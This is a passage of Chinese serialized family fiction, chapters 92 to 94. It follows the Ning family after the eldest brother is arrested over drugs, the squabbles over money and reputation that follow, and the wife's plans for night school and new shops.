而是按部就班地把自己今天要上的体育课上完,才不紧不慢地去请第二天的假。 第92章 这么大的事,宁绍明心里就是再烦死他大哥,也不好真的不去看一眼。 得亏是中午客人吃饭高峰期过去了,店里没几个人。 宁绍明和赵如月跟店里没轮到的客人道了歉,又每人送了一个铜锣烧补偿。 客人也能谅解,让他们赶紧回去看看怎么回事。 其实他们也想去凑个热闹来着,只是听那小孩的意思,警察抓了人,已经走了,没什么热闹好看。 他们拿了铜锣烧,就换了个地方吃午饭,正好能跟人讨论讨论老宁家发生的这件事。 赵如月让两个孩子待在家里,自己跟宁绍明带上宁时春赶回老宅那边。 他们赶到的时候,王海燕已经被人劝着回屋了。 门口围着的人还没散去,看到宁绍明夫妻俩和宁时春回来,七嘴八舌地说起刚才的事。 其实他们说的跟赵思莲跑去报信时说的差不多,甚至还不如赵思莲仔细。 但宁绍明还是得耐着性子应付这些邻居,至少让他们觉得宁家除了宁绍贤,其他人都是好的。 也让他们在说起这件事的时候,根据事实来说话,不往里添油加醋。 要不然,出了他大哥这事,他态度再不好,以后他们家在镇上名声就真臭完了,大侄子和侄女想找个好对象都难。 赵如月这边也是,不过围在她身边说话的大姐有几个跟王海燕一个村子出来的,处得也不错,还是比较真心关心她。 “小春他三婶,你等会儿进去可得好好劝劝小春妈,别让她气上头做错事。” 不等赵如月发出疑惑。 另一个大姐接下来的话就让她明白了什么意思。 “是啊,孩子都大了,她再熬一熬,将来等丹萍也读书出来,能出去挣钱,有的是好日子过,男人不在家就不在家了,在家还得伺候他,不够累人的。” “小春眼看就要娶媳妇儿了,老话说多年媳妇熬成婆,她熬了那么多年,再过几年就能抱上孙子,你可千万劝她,别想不开。” “她弟弟还没结婚,眼看着也快要办喜酒了,她要是跑回去,万一这婚事吹了,过后她自己肯定也要后悔,更别说嫁人那么多年,就算回了娘家也没法多待的。” 赵如月恍然大悟,原来是担心王海燕因为这事,跟宁绍贤离婚。 听着几个大姐的话,赵如月心里有些难受,都说娘家是女人的倚仗、是女人的后盾。 可是依照现在的社会环境,哪个女人离婚的话,这个后盾很有可能会变成刺向女人的长矛,还是让她最痛的那个。 “谢谢几位大姐教我,我知道进去该怎么跟我大嫂说了。”她嘴上这么说,心里想的却是不会干涉大嫂的选择。 现在社会环境是不够开放,对离婚女人的非议很多,但也不是旧社会了。 但凡自己能立起来,出路也不是没有。 只是以上辈子的经验来看,赵如月觉得王海燕不一定会离婚。 上辈子宁绍贤出去打工的时间还要比现在迟几年,刚开始的一两年,他每年春节和清明节都会回家过年和扫墓。 后来有几年,逢年过节都不回来。 那时候也分家了,因为他人在外地,他的事,王海燕不对外说,就连他们这些比较近的亲戚也不知道他的情况。 后来有一年宁绍贤终于回来了,但人瘦得跟个杆子一样。 有人说他消失的那几年,是在外地干坏事被抓了,但这些言论只要被王海燕听到,她必定会找到人家家门口去骂街。 因为骂得很厉害,后来也没人敢再明着说这些事了。 赵如月也是在宁时春结婚的时候,女方家过来了解这边的情况,二嫂叶菁不小心说漏了嘴才知道,那几年宁绍贤确实是被抓进去蹲了几年。 王海燕那时候也没跟宁绍贤离婚。 因为这事,王海燕还跟叶菁结了仇。 赵如月本以为,这次宁绍贤提前出去打工,去的又是跟上辈子不一样的地方,身边跟着的同乡也是靠谱的人,还有儿子跟着,不会走上老路。 谁知道他这回捅出的篓子,竟然比上辈子还严重。 赵如月想起宁绍贤刚回来时的表现,他一直躲在房间里不出门,是真的因为没挣到大钱,觉得没脸见人,还是在躲着谁,不敢出门? 想到这里,赵如月心不由地沉了沉。 万一宁绍贤真惹了不该惹的人,他们这些近亲很有可能也置身于危险之中,她家可还有两个孩子呢。 应付完门口聚集的邻居,赵如月和宁绍明终于能进屋。 有他们俩在外面挡着应对外人,宁时春早就进来了解到了情况。 看到宁绍明进来,他像是找到了主心骨:“三叔,警察抓我爸的时候,说他吸。毒,我爸怎么会吸毒呢?他哪来的钱吸毒?” 宁时春还是不敢相信,自从他跟三叔学手艺后,镇上同龄的姑娘都高看他一眼。 他已经跟一个姑娘约着去看过一次电影,他们还约好,七夕的时候,再一起去县城逛逛。 还想着到时候买个礼物,跟人家表达心意、确定关系。 他爸一被抓,他跟那个姑娘的事,没准就要泡汤了。 摊上这么个爹,宁时春心里难受得,恨不得也嗷嗷哭一场。 “警察真这么说的?”宁绍明看向父母和大嫂。 宁达叹了口气,沉默着点点头,整个人看起来像老了十岁,背都佝偻了。 黄秀华在旁边没说话,只是默默流泪,王海燕也没再嚎啕大哭,两个人抹着眼泪,嘴里嘟嘟囔囔地念经一样。 一个说:“我怎么生了这么个讨债鬼!” 另一个说:“我怎么那么命苦,嫁了这么个东西!” 宁绍明听着话也叹气,对宁时春说道:“警察这么说,肯定是有证据了,不然他们不会乱抓人。 你爸出去打工之前,跟打工回来后,接触到的人都是本地人,镇上的人就那么些,大家知根知底的,要是谁不对劲,不会只抓他一个,我觉得问题应该出在你们去打工期间。” 宁时春被他这猜测吓到了,紧张地说:“三叔,别人不会怀疑我跟我爸一样吧?” 宁绍明安慰道:“你要是跟你爸一样,我怎么会让你去我那里干活?你有问题的话,我早看出来了, 别担心,警察既然没抓你,就说明你没问题,以后你出去,别人问起来,你也这么说,现在你好好想想,你们在鹏城打工的时候,你爸有没有异常的地方? 如果你爸真是在那边沾染的毒。品,警察也会来叫你去问话的。” 说到这里,宁绍明顿了顿才继续说:“你等会儿收拾两套换洗的衣服,跟我去县城。” 对宁时春说完,又看向其他人:“你们对外就说我跟小春去县城打听消息。” 这下不但宁时春紧张,在场除了赵如月之外的其他人也跟着紧张起来。 王海燕反应最是强烈:“老三,你这是要带小春出去避风头?警察不会真的把小春也抓了吧?” 她可就这一个儿子,以后养老还得靠儿子。 王海燕心里不禁有点后悔自己想得太少,又舍不得家里的房子和地。 早知道会连累到儿子,她干脆带着儿女跑掉,不管宁绍贤算了! “大嫂你别激动,我不是带着小春去避风头,我只是担心如果大哥真是在打工期间沾上毒,警察来叫小春去问话,会让街坊邻居误会小春,到时候不好解释。 我带小春去县城后,我们会主动去派出所了解情况,留下我们在县城的地址,这样警察不再次找到老家来,以后对小春和丹萍的影响也小些。” 王海燕一听就放心了,连哭都忘了哭:“好好好,你们赶紧去吧,别耽误时间,万一警车又掉头回来拉小春可就糟了,我这就去给小春收拾东西,老三媳妇儿你也回去给老三收拾吧。” 王海燕这变脸变得太快,让赵如月看出了一点端倪。 共同生活的夫妻,丈夫吸。毒后的改变肯定不小,大嫂是不是早就察觉了? 王海燕看她没动作,还催她:“你别愣着了,要是担心老三不在家,你们那边周围人少住着害怕,大不了搬来我家住,我绝对不赶你们。” 这话让黄秀华听到,她脸色瞬间更难看了。 但这时候没人有空管她的心思,王海燕抓紧时间去给宁时春收拾东西。 “不用了,”赵如月对王海燕说道,“镇上又没什么危险,我跟两个孩子关起大门,不会出什么事。” 她说着也起身,跟宁绍明一起回家。 等人都各忙各的去了,黄秀华才想起宁绍德,他忙拦住宁绍明:“老三,你带小春去县城也别花钱去找别的地方住了,就住你二哥家。 你大哥那事没准还要花钱打点,现在能省一点是一点,我给你二哥打电话,让他去车站接你。” 宁达提醒她:“老三他们没到之前,你不是给老二打过电话,让他赶紧回来吗?也不知道他是不是已经坐上车赶回来了,万一老二现在正在车上,他不一定能接到电话。” 黄秀华点头道:“对对对,要是现在打电话过去,他接不到,就让老三和小春先在家等等。 等老二到了,你们三个再一起去县城,人多力量大,老二在县城有人脉,有他在你们去了县城也不会跟个无头苍蝇似的,找不到门路。” 她快步走到王海燕和宁绍贤的房间,房间的窗户开着,其他人站在天井处,可以看到房间里的情形,也能听到里面的对话。 只见黄秀华拨打了电话,那边接起来后又挂了,黄秀华看向窗外其他人解释道:“我打的是学校的电话,那边得先去通知老二来接,还要再几分钟才能回拨。” 王海燕担心儿子在镇上被带走问话,哪怕是几分钟也等得心焦。 口不择言地道:“我看你还是别指望宁老二了,他们两口子,那眼睛恨不得长在头顶上,还是一对吝啬鬼!能愿意为我们家那口子找门路奔走才怪了!” 她算是看出来了,这一家子三兄弟,只有老三还算靠谱! 以后但凡老三媳妇儿做事不是太过分,她都决定忍让她,也不在背后跟人说她坏话了。 黄秀华可受不了别人这么说自家老二,即使之前去帮老大跟老二要钱还债的时候,老二夫妻俩没给她好脸色。 她依然觉得老二最有出息,老大这不还是得靠他:“你可收起你这尖酸刻薄的嘴脸吧!这个家里,除了老二,还有谁在县城有人脉?我看就是你这婆娘连男人都管不住,才让老大沾上那些东西!” “我呸!他一个大男人,谁能管得了他?你是他老娘,他从你肠子你爬出来的,你能管得了他吗?老天爷,我怎么那么命苦,遇上个毒男人就算了,婆婆还这么恶毒! 老天爷你快把我收了去吧,我真是活不下去了呀!我以前也是清清白白一个好姑娘,嫁到他们家来,福没享受过一点,二十年来光吃苦了呀!我这就回我娘家,让我娘家妈来看看,她当年给我找的什么人家!” “行了行了!”宁达担心大儿媳真抛下两个孩子跑回娘家,丹萍可还在读书,小春还没娶媳妇儿,她要是跑了,孩子谁照顾? 让他们老两口养大儿子,又去养孙子? 宁达打断王海燕的哭诉,转头又训斥了老婆子几句:“你别总数落老大媳妇儿,老三也说了,老大有可能是在打工的地方沾上那些东西,这关老大媳妇儿什么事?要怪就怪我们没把老大教好,老大这个人你又不是不知道,从来不服管的,家里都成这样了,你们都少说几句。” 王海燕见好就收,眼泪一抹,也不哭了,继续给儿子收拾东西去。 几分钟后,电话响了几声又被挂掉。 因为主动拨打电话要钱,接电话不要,所以宁绍德从来都是这样,让电话响几声,再等家里拨回来。 黄秀华熟练地输入那串烂熟于心的号码,电话又响了几声被人接起。 宁绍德不耐烦地问:“又怎么了?我已经去请假了,但是领导还没批假。” 实际上他一个体育老师,请假不要太简单,其他主科老师都等着瓜分他的体育课,用来上自己的科目。 黄秀华解释道:“不是催你回来,你没请假正好,老三要带着小春去县城打听消息,他俩没地方住,你那边能不能让他们去挤挤?要不去县城住招待所还要花钱……” 不等她说完,宁绍德已经提高声音拒绝:“那怎么成,我那里你又不是没去过,那么小一个宿舍,我们住着都嫌挤得慌,怎么再挤进来两个大男人?” “我早说要在县城买一套商品房,结果钱一直不趁手,总是一拖再拖。 要是我早点买上房子,你们来县城还能没地方住?你上次还从我这里拿走三千块给大哥,结果怎么着?那三千块钱打水漂了吧?” 给老大还债的钱加上那三千也没够,还得等宁时春的那一份。 但不管她怎么说,宁绍明也不愿意提前给宁时春预支一年的工资。 所以那三千块钱还在黄秀华手里,她急忙对宁绍德说:“那些钱没打水漂,还在我这里呢!” 宁绍德眼珠子一转:“我大哥都这样了,这债还不还不都一样吗?要不你让老三来的时候,顺便把那三千块钱拿来给我吧,我再叫我老丈人支援一点,就能买房了。” 黄秀华却也有她自己的顾忌:“那不成,万一债主找上门来怎么办,你哥只是被抓了又不是死了,够不上人死债消,我们家因为你大哥被抓的事,已经在镇上丢脸一回了,可不能再因为还不上钱,再丢一回脸。” 宁绍德心说这种的大哥还不如死了算了。 他听到黄秀华的那些话,就知道这次又没办法劝她给钱了,也不耐烦再听下去:“那算了,我这边还忙着,不跟你说了。” 其他人在外面等了不到两分钟,电话又挂断了。 黄秀华脸色难看地出来,嘴上还给自己和宁绍德挽尊:“老二工作太忙,这段时间都没空回家,他家里只有老二媳妇儿和丹洁在家。 老三和小春虽然是兄弟和侄子,但也是两个大男人,现在去他那里多少有点不方便,你们去县城还是找个招待所住着吧,要不要我去村委找人给你们开介绍信?” 宁绍明一言难尽地看着她,也懒得拆穿了:“不用,现在出门住店,早就不用去开介绍信了。” “那就行,你们抓紧时间去吧。”黄秀华也不说什么她家老二有人脉的话了。 王海燕嘲讽地哼了一声,把收拾好的行李交给儿子,叮嘱他:“去了县城遇到事别自作主张,要多听你三叔的话。” “我知道了。”宁时春提着行李袋,跟在宁绍明身后走了。 回到家,赵如月看到自家门口挂着一个牌子。 走近一看,牌子上写着:大人有事不在,小孩看店,只有铜锣烧和杯子蛋糕出售。 他们走进店里,还真有人在买东西。 两个孩子也在像模像样地做生意,一个给客人拿东西,一个收钱找钱,配合得相当默契。 原本赵如月还担心今天关店半天,家里准备的食材卖不完,第二天就不新鲜了。 回来却有惊喜。 宁时夏第一个看到他们:“爸爸妈妈小春哥,你们回来了!爷爷奶奶那里没事吧?” 她这么一问,店里的大人不约而同地看向回来的三人。 “没事,今天晚上我跟你堂哥要去县城打听消息,你们在家要乖乖听妈妈的话,知道吗?”宁绍明立刻抓住机会,把他们要去县城给打听消息的事宣扬出去,尽量不让人误会宁时春。 有来买东西的客人问:“你们去县城找你二哥帮忙?也对,他在县城工作那么多年,大舅子又在机关单位上班,肯定有人脉,怪不得你大哥被抓走这么久,都没见你二哥赶回来。” 宁绍明可没那好心给宁绍德刷好名声,他正想说他二哥忙着上班,抽不出空回来。 宁时春就带着怨气说道:“我二伯大忙人一个,我们哪敢去打搅他。” 听到他这话,客人们立刻嗅到了八卦的味道:“怎么的,都是一家子亲兄弟,你爸出事了,你二伯竟然不愿意帮忙啊?” 宁时春说完察觉到自己说长辈坏话似乎不太好,往回找补道:“我也不知道,还没去找他呢。” 说这话,赵如月也把宁绍明的行李收拾好了。 他们的衣服平时就放得很整齐,收拾起来很快,不知道他们要去几天,她还给他们带了备用的牙刷牙膏和毛巾。 又想到他们还没吃午饭,又给他们拿了点吃的,让他们带着车上填填肚子。 赵如月把行李递给宁绍明:“快去吧,别耽误了时间,早点办完事也早点回来。” 她这么说,也是变相在告诉别人,这叔侄俩过几天还会回来,真不是跑路了。 好在赵如月和宁绍明的话是有用处的,镇上只传了宁绍贤的事,没把这事联系到宁家其他人身上。 不过小孩子去上学,难免会被人问道几句。 这种情况赵如月猜到了,也教了孩子怎么回答,两个孩子没怎么被影响。 只是宁丹萍作为宁绍贤的亲生女儿,难免会被人说一些闲话。 她又正处于青春期,情绪波动有点大,回家后哭了几次,被王海燕发现还要被她臭骂一顿。 宁丹萍干脆不回家了,直接跑到赵如月这里,跟宁时夏一起睡。 宁时夏本来不太愿意,但是宁丹萍用还没到手的MP3诱惑她:“等我的MP3到了,我每个星期六和星期日,借给你听,你把你一半的床借给我睡,怎么样?” “MP3是什么?” “是听歌的东西,还能用来听英语,可有意思了!” 听说能听歌,宁时夏来了兴趣:“跟姑姑的那个收音机一样吗?” “比姑姑那个小很多,可以踹在兜里,去到哪里听到哪里。” “那好吧,我把一半的床借给你,从今天开始记,我们拉钩约定,不许说话不算话。” 宁丹萍伸出小指头:“好,我们拉钩!” 赵如月看她们姐妹俩商量好了,就没多说什么,只是帮宁丹萍去跟王海燕说了一声。 现在王海燕对她可客气,不像以前那样,有好处的时候说她好话,沾不到便宜就端起大嫂的架子还在背后蛐蛐她了。 赵如月找王海燕一说,她就同意了。 她巴不得老三夫妻俩能多关照关照自家两个孩子,还叮嘱宁丹萍去三叔三婶家有点眼力见,多帮忙干点活。 宁丹萍闷闷地应了一声。 到了赵如月这里,但凡宁丹萍在,总是会把打扫院子、给菜浇水、除草和洗衣服的活全揽在自己身上,也会在店里帮忙干活, 赵如月说了好几次不用她做也没用,只好随她去了。 第93章 宁绍明带着宁时春到县城后,在距离派出所最近的一家旅馆住下。 安顿好住的地方,他没按照黄秀华的叮嘱先去找宁绍德,让宁绍德帮忙找找关系,而是直接带着宁时春去了派出所询问情况。 宁绍明不认为这种事情有找关系疏通的必要,他们这种平头百姓本来也没什么过硬的关系可找。 请律师他大哥家也请不起,宁绍明自家的钱可能够请律师,可凭什么把这钱花在大哥身上呢? 他媳妇儿的娘家三叔那边可能在县城有点关系,可这种事,让赵如月回娘家找关系,那是让她回娘家丢脸,还要放低姿态求人,做出这种事情的宁绍贤也配? 宁绍明分得清谁对自己更重要,而且每每想起宁绍贤被抓的原因就心头冒火,恨不得没有这么个大哥。 镇上隔一段时间就派人去放电影,宣传黄赌毒的危害,宁绍贤从小到大,哪次去看电影不积极? 知道不对还做,被抓也是活该! 宁绍明觉得自己还能帮大哥考虑到他的一双儿女,往后照应一下他们已经算是仁至义尽了。 大哥自己做的孽,法律该怎么判就怎么判吧。 到了派出所,宁绍明一说他跟宁时春的身份,他们就被警察分别带到的不同屋子里询问。 宁绍明这边没什么可问的东西,他介绍出去的人只有宁绍贤一个涉。毒,介绍的酒店也是正规酒店,其他人现在还在那里安安稳稳地打工挣钱。 宁绍贤回家后,两个人也没怎么接触,基本上问不出什么有用的东西。 宁绍明进屋没多久就出来了。 宁时春在里面待的时间比较长,正如宁绍明预料的一样,宁绍贤是在鹏城打工期间碰到的那些东西。 当初那些年纪比较大的老乡,用来吓唬小年轻们的都市恐怖故事,确实把小年轻们糊住了,年轻人都没敢乱来。 反而是宁绍贤这样的老油条,有几个包括他在内,禁不住诱惑,在大城市被花花世界迷住了双眼,兜里刚有几个钱就悄摸结伴去夜间娱乐场所玩。 刚开始只是去唱歌、喝酒、跳舞。 慢慢在娱乐场所认识了一些所谓的‘红颜知己’,说白了就是在娱乐场所点女人陪酒,后来又发展成包夜。 结果人家讲几个故事,诉诉苦,说自己家庭多么不幸、自己做那一行都是被逼无奈,他们就当真了,觉得自己是‘救风尘’的英雄。 等到他们兜里的钱被榨干,人家拍拍屁股走人,又去钓下一个,遇到这种甚至能算他们好运。 怕就怕宁绍贤遇到的那种,嘴里说着不图钱财、不图名分,只是真心觉得他好,单纯喜欢他这个人。 还说只要他对自己好,自己就会不离不弃,也不会破坏他的家庭。 把这中年老男人夸得真以为自己魅力无边,被人迷得晕头转向。 接着这个无欲无求的‘红颜’还给他介绍资源人脉,扶他青云志,让他以为自己真遇到了人生中的贵人。 这都是宁绍明被允许见宁绍贤一面后,宁绍贤跟他说的内容。 宁绍贤还承认了,他的那点工资和宁时春给他帮忙收着的工资,他全用来买毒。品了。 欠的那一万五,是因为买毒。品的钱不够,那些人看在他‘红颜’的面子上,允许他赊账欠下的所谓货款。 等东西卖出去后,他兜里有了钱,再继续拿货。 他之所以会吸,是为了表现自己真心做这一行的诚意,让那些人相信他做这一行的决心,以及被别人挣大钱的场面晃花了眼,迫不及待地想投诚加入。 货到手后,或许是胆小,又或许是突然良心发现,也有可能是上了瘾,不想把东西卖出去了,又怕还不上赊欠的货款,他就跑路回了老家。 宁绍明不知道宁绍贤有没有撒谎,他猜测他们说话的屋子应该也在警方的观察中,是不是真话,警方会自己判断。 他只想知道到底怎么回事,然后确认这里面确实没有宁时春什么事。 唯一值得庆幸的是,宁绍贤勉强还有点良心,没有把宁时春拉下水。 那一万五现在也不用家里帮他还了。 挂了电话,宁绍明和宁时春都签了保密条款,才被允许离开。 回旅馆的路上,宁时春按捺不住地对宁绍明说:“我见过我爸带回来的那个女人,年纪只比我大两三岁,我在的时候,他们俩的行为看起来不是很亲密,我还以为他是想给我介绍对……” 话没说完,宁绍明忙扯了扯他的胳膊:“这件事不要再提。” 他决定回去后就把宁时春关在自家院子里学手艺,暂时不让他跟外人接触了,只要让人知道他没被抓就行。 宁绍贤这事,很明显涉及到的人不少,这边的警方估计得跟鹏城那边合作办案。 年轻人嘴上没个把门,憋不住话,万一说了什么不该说的话,没准会引来祸事,还耽误警方办案。 等宁绍贤的案子正式结案了,看看情况再让宁时春出来。 案子复杂,但该知道的事都知道了,宁绍明觉得他们继续在县城也做不了什么。 问过警方那边后确认不需要他们再去配合问话之后,他又带着宁时春和一些食材回了家。 回家后的第二天,他家店再次开门营业。 不少人来吃东西的时候都免不了会打听他大哥那事。 不管是外人还是宁达和黄秀华,甚至王海燕来问,宁绍明都一律回答:“没能见到我大哥,我现在也不知道什么情况,只能回家等着,看看怎么判了。” 王海燕听到这话后真信了,真就不再问也不再管。 其实她心里对宁绍贤这个人也没了什么期待。 他是坐牢还是被枪毙,她都不在意了,只想守着两个孩子过日子,那才是她未来的依靠。 宁达和黄秀华却依然忧心忡忡,不管怎么说,那毕竟是他们的第一个孩子,虽然总是说他不服管,不太喜欢他,可当父母的难免会为他模糊不明的未来忧心。 “老三,真不能找找关系,让你大哥早点出来?” 宁绍明两手一摊:“找谁?” 黄秀华的眼睛瞟向正在收钱找钱的赵如月。 宁绍明见状说:“你不是说我二哥在县城有人脉有关系吗?找他去呗,不过家里出那么大的事,他回来看过一回了吗?不会要等到下个月他家的米面肉菜都吃完了才会回来看你和我爸吧?” 几句话让黄秀华恼羞成怒,顺便也把人气走了。 回到家命令宁达:“你以后不许去给老三带孩子!” 宁达听了一头雾水:“他又怎么招惹你了?” 黄秀华也不说怎么回事,只说:“我就知道这个老三天生脑后生反骨,以后我们老两口靠不上他一点!” 宁达嘴上敷衍着说:“知道了知道了。” 转头却没往心里去,以前怎么样,现在还是怎么样。 该带着孙女去下棋就带,去放牛的时候也带着老三家的两个孩子一起去玩。 老大进去了,老三不听她的话,黄秀华思来想去,只剩下老二了。 黄秀华打从心里认为,前两次给老二打电话,老二语气不耐烦,只是因为觉得她这个当妈的为了老大问他拿钱,是觉得她对老大太好,可能有点嫉妒了。 反正老三也说了,那一万五不用再还,黄秀华就想着把那三千块钱给老二送去。 她越想越觉得得赶紧跟老二解释一下,修复修复母子关系:“老头子,我去县城一趟。” 宁达正在补鸡笼的手一顿:“老三不是说了,老大那个事很严重,找关系没用,你还去县城干什么?” “我不是为了老大的事,我去老二家看看丹洁,听说最近她要上什么补习班,老二夫妻俩都没空接送孩子,我去帮个忙。” 宁达无语了,不是说老二缺钱,上次找他要三千块钱跟要他命一样,明明老婆子私下补贴他的都不止三千。 现在竟然还有钱给孙女上补习班,看来老二说缺钱只是在装穷。 宁达担心他们老两口的棺材本被老二从老婆子这里全哄走,让她走之前把装钱那盒子的钥匙给自己。 黄秀华一脸警惕:“你不会是想补贴老三吧?” 宁达说:“我就想自己花,那钱也有我的一半,我还不能花了?” 黄秀华还是不想给:“你可拉倒吧,别拿了钱又被小夏那小丫头哄着买这买那的!也不知道老三媳妇儿怎么教的,那丫头这么小年纪就会哄人买东西!” “行了,花那点钱给孩子买东西能花得了多少?有你贴给老二的多?你别总这么说孩子。” “好啊,你这是嫌我花多了?老三是你儿子,老二就不是你儿子了?你这心偏得可够厉害的!” “你还好意思说我?你简直猪八戒爬墙头,你倒打一耙!自己才是偏心老二,还说最喜欢小秋呢,也没见你给小秋也报个什么补习班,你看看老二家的丹洁,小小年纪就上补习班,你忘了小秋比她年纪大,学的东西也比她多,难道不用上那个什么补习班?” “镇上哪有补习班?”被宁达这么一说,黄秀华态度松动了些,但还是不松口。 宁达反驳:“有老师就能找人补习,你就说那钱我能不能花吧!” 他这话让黄秀华的火气又被激起来了:“好你个宁达,老了老了现在敢用这种态度这么跟我说话了!” “我对事不对人,你以前补贴老二是真,我可没补贴过老三,你不能凭空污蔑我,不让我花钱。” 老两口就这么吵起来,以往总是宁达先推让,这次竟然谁也不服软。 最后钱被一分为二,两个人各自管各自的钱,宁达也算达成了自己的目的。 黄秀华把自己那一半,还有之前从老二那里拿回来的三千块钱收起来恨恨地咬牙对宁达说:“你那点钱被骗光了,可别来找我哭!” 宁达拿到钱心情好多了,反而没再跟她呛声而是劝她:“这话你应该对你自己说,被稀里糊涂就把钱全给了老二,那三千块钱也是,别全一股脑还回去,要不你在老二家怕是连一个星期也待不了。” 那三千块钱本来也是他们夫妻俩共同的,但宁达没分,毕竟他们老两口又不是真离婚,他只是不想让自己的养老积蓄全打水漂,没必要分得那么清。 黄秀华给了他一个白眼:“得了吧,别以为全世界你脑子最清醒。” 她说着收拾好自己的行李,给老二打了个电话,说要去他那里住一段时间,不会是为着宁绍贤的事,那事算是过去了,现在只等着怎么判。 这次老二在电话里的态度跟上次完全是两个样子,热情地邀请她去自己家,还说想住多久都行。 黄秀华被他哄得心里熨帖极了,觉得在老二心里自己这个当妈的果然是不一样的。 老三和小春在老二心里,哪能跟她这个当妈的比?所以之前他们被拒绝很正常。 黄秀华带着大包小包的东西去县城二儿子家。 王海燕从菜地里忙活完回家,正好碰到黄秀华出门。 她冷眼瞧着婆婆眉开眼笑地离开,一点也没有为宁绍贤忧心的样子。 她暗自发誓,以后绝对不会让这老婆子来自己家养老,其他两家给钱也不许! 等婆婆走远后,王海燕回到自家天井里,打水开始收拾她从菜地里带回来的香菜和葱花。 这些开店用得多,赵如月家菜地和院子里种的早就用完了,每天都得买。 但王海燕菜园子里还多得是,她也吃不完,现在两个孩子全倚仗赵如月和宁绍明夫妻俩。 王海燕觉得自己也没什么东西给人家,只能拿些自家菜园里的菜去给他们,好歹能让人家省点买菜钱。 别的不说,她干农活是一把好手,种出来的菜品质还是很不错的,连那些跟她公公婆婆同一辈的侍弄庄稼的老把式见了,都得竖起大拇指夸几句。 老两口吵架分钱的事,其他人都不清楚,只有宁时夏发现爷爷比以前大方好多。 她有时候只是跟爷爷逗乐,说自己想吃什么要什么,并不是真的想买。 以前爷爷也会跟她逗乐,说‘我老头子兜里没钱,咱爷俩只能看着流口水喽’之类的话。 然后爷俩站在人家店门口嘎嘎笑。 现在竟然她一说就直接给她买。 唬得宁时夏有些玩笑都不敢随便乱开那些玩笑了,之后也就特别想吃又不贵的东西,才让爷爷给自己买。 宁绍贤的事成为了镇上很长一段时间的头条新闻。 这期间,赵如月报的夜校开始上课。 宁绍明给她看好了靠谱的面包车司机,不是赵如月娘家的那个亲戚,而是一个刚买车干这一行的女司机。 这个女司机学车、买车这事,在镇上也是一个新闻。 这事让人震惊的程度,甚至不比宁绍贤被警察抓走那事低。 以前他们这小镇子,从来没见过女人开汽车,女人开摩托车的都少,偶尔见到也都是镇政府的女职员或者学校的女老师开比较小巧的女式摩托。 但凡看到有个女人开平时男人开的那种摩托车,就会被人投以异样的眼神。 路上一个个跟看猴似的伸长了脖子看,然后议论一番,有说那女人真厉害的,也有说女人力气小,开这种车,万一摔跤了扶都扶不起来,真是不怕死的。 仿佛开车只是男人的专属。 刚开始很多人都不信任这个女司机,她也没多少生意,有些心灰意冷想着要不要把车租出去给别人开了。 这时候赵如月这个包月的稳定生意,简直像是及时雨。 因为赵如月是女的,那个女司机以为宁绍明不乐意她坐男司机的车才选择自己。 于是仿佛又有了一个坚持下去继续开车的理由,没再想着把车租出去给别人开了。 坐了几次车,赵如月发现这个女司机的嘴巴也比较严,不会把客人的事到处跟别人说。 起因范小蓉帮宁丹萍买的MP3,寄回来了,但不知道怎么,竟然只能送到县城,得自己去县城的邮局拿。 那天只有赵如月一个乘客,她就麻烦了这个司机一下,让她绕一点路,去县城的邮局拿东西。 司机看到包裹那么小,随口问了一句买的什么东西,也没想着赵如月会如实回答。 赵如月却直接跟她说了:“是听歌的MP3,在羊城买比在县城买便宜很多。” 本以为过不久,镇上就有其他人会知道,没想到这个消息一点也没传出去。 赵如月就觉得这个司机不错,开始多给了她一些钱,让在上课之前,带自己在县城转一转,看看铺面和房子。 她堂妹对县城也很了解,但医院上班休息时间少,总不能每次都麻烦别人牺牲下班时间,陪自己到处看房。 赵如月找过堂妹一次,请她吃饭的时候,问了大概的信息,就自己去看房了。 目前赵如月只找到一个价格和位置都比较合适的铺面。 但宁绍明又有了别的想法:“我想以后三家店最好离得近一点,能黏在一起更好。” 赵如月:“三家店?我们哪有三家?” 以后不是一件维修店,一间餐饮店吗? “面包店、餐饮店和维修店,我想把面包、甜品这些跟米粉分开,不然不太像样。” 宁绍明本来还没打算那么快分出来,但是加入铜锣烧和杯子蛋糕这两个新品后,他们的收入直接翻翻,以前一个月纯收入有五千到六千,现在最少有一万了。 主要是杯子蛋糕的单价比较高,一个又比较小,很多人都是为了优惠价格,一次买两个起步。 甚至还有其他离得近的镇子的人特地跑来他们店里买。 很多家长连孩子生日也买杯子蛋糕回去糊弄孩子。 为此宁绍明还特地批发了一些生日蜡烛回来便宜卖,有时候客人买蛋糕买得多就直接送。 很多大人都说买他这个,比去县城买那种两块五一个的红色小花篮蛋糕划算,光是路费就能省一笔。 宁绍明之间心心念念的商用烤箱,现在也用不着再等,就直接能买了。 到时候他会添加更多面包类的新品,生日蛋糕也能正经接受预定了。 之后这些面包、蛋糕之类的东西,再继续放在餐饮店里卖就不太合适。 不过一次买三个铺面,哪怕面积可以不买很大,小小一个都能经营。 可他们再想买房子,预备孩子升学到县城读书的话。 哪怕县城房价再低,他们家里的存款加上赵如月那十万块交完学费后剩下的钱,也不太够了。 现在县城的小区楼盘很少,小区楼下的商铺自然很少,在他们这样的小县城,这种商铺很抢手,有些甚至要有关系才能买得到。 更多时候都是刚听到消息,跑去一问,就都说来晚了、卖完了、没有了。 赵如月看了很多商铺,合适的商铺都是私人的房子铺面,买这种铺面不好贷款,他们就想着房子要不要贷款买。 反正买步梯小区的话,总价不贵,以他们每个月的收入来看,贷款还起来很轻松。 然而计划赶不上变化。 第94章 嘭的一声闷响,赵如月站在原地跟跟车里的司机挥手:“谢谢关姐,你开车回去路上注意安全。” 车里的关秀也挥了挥手:“好,你快带小秋和小夏回屋吧。” 目送车子开走后。 宁时秋和宁时夏背着书包跑进屋里:“爸爸,我们回来啦!” 这段时间,赵如月不提早去县城看房子的时候,两个孩子都会跟着她一起去县城。 带着他们的作业跟赵如月一起去学校上课,美其名曰:送妈妈上学。 跟赵如月一样带孩子去上夜校的人也有,不过维修班女人比较少,加上她一共也就三个,带孩子去的就她一个,隔壁会计班和护理班的比较多。 带两个孩子去也不是没有好处,刚开始没带的时候,总有男人来找她说话,说什么大家都是同学,互相认识一下,以后也是人脉之类的。 赵如月把两个孩子带去一次后,就再也没人有事没事就来找她闲聊了。 隔三差五也会去他们县城的朋友家,一起写作业、一起玩耍,晚上赵如月下课后再去接他们。 把孩子放在别人家,哪怕比较听话懂事,看孩子也是个麻烦事。 赵如月和宁绍明心里过意不去,每次宁绍明总会换着花样做些好吃的,让两个孩子带去分给他们的朋友吃。 这样一来,两个孩子朋友的家长不但不介意他们去,反而还有点期待。 